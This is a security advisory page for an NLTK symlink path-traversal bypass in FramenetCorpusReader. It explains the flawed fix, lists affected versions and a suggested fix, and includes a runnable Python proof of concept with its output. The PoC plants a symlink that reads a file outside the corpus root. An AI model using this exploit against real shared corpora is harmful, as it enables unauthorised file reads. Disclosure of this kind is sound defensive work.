Hoch

NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)

  • Veröffentlicht: 22.08.2026
  • Aktualisiert: 11.10.2026 15:17

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

Summary

The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

Affected code (nltk/corpus/reader/framenet.py)

  • frame_by_name() reads <frame_dir>/<name>.xml
  • _lu_file() reads <lu_dir>/lu<id>.xml
  • doc() reads <fulltext_dir>/<filename>

All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.

Proof of concept

Self-contained, runnable end to end.

python
import os
import tempfile

from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)

with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
    f.write("<frameRelations/>")

secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write(
        '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
        "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
        "</frame>"
    )

# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)

reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}}  # skip unrelated index build

result = reader.frame_by_name("evil_link")   # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.

Why this is in scope

  • No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
  • Core corpus-reader code, not a demo/GUI tool.
  • Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Suggested fix

Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) nltk >= 3.10.0, < 3.10.2 3.10.2

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Schwäche (CWE)
CWE-22, CWE-59
Plattform
Python (PyPI)
Paket
nltk
Veröffentlicht
22.08.2026
Aktualisiert
11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3789 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-f833-7jw8-xwrv - CC BY 4.0

Schwachstellenhistorie: nltk

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (52) im Archiv
Einträge insgesamt
52
Erste → letzte
08.2019 09.2026
Ohne Fix
6
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 5
  • Hoch 32
  • Mittel 13
  • Niedrig 2

Veröffentlichungen pro Jahr

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 47
Schweregrad:
  1. Hoch · 7.0 CVE-2026-81726 <= 3.10.3 keine Korrektur
  2. Hoch CVE-2026-79674 < 3.10.3 3.10.3
  3. Hoch · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  4. NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292) dieser Eintrag
    Hoch · 7.5 CVE-2026-62384 >= 3.10.0, < 3.10.2 3.10.2
  5. Hoch · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
  6. Hoch · 7.5 CVE-2026-33231 < 3.9.4 3.9.4
  7. Kritisch · 10.0 CVE-2025-14009 < 3.9.3 3.9.3
  8. Hoch · 7.5 CVE-2024-39705 < 3.9 3.9
  9. Hoch · 7.5 CVE-2021-3842 < 3.6.6 3.6.6
  10. Hoch · 7.5 CVE-2021-3828 < 3.6.4 3.6.4
  11. Hoch · 7.5 CVE-2019-14751 < 3.4.5 3.4.5

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.